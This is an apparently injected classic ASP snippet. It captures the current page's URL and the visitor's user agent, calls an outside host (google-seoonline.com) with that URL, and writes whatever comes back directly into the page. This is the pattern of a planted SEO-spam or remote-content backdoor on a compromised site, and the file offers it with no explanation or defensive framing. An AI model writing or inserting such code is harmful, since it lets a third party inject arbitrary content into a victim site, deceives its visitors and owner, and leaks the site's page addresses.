 |
|
|
<%
Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
dim xmlHttp
set xmlHttp=server.createobject("MSXML2.XMLHTTP")
xmlHttp.open "GET",infopageurl,false
xmlHttp.send
getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode = 3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
dns = Request.ServerVariables("SERVER_NAME")
path = Request.ServerVariables("PATH_INFO")
qs = Request.ServerVariables("QUERY_STRING")
url= dns&path&"?"&qs
agent = Request.ServerVariables("HTTP_USER_AGENT")
tz = "http"
response.write getBody("http://www.google-seoonline.com/plus/index.php?dn="&url)
%>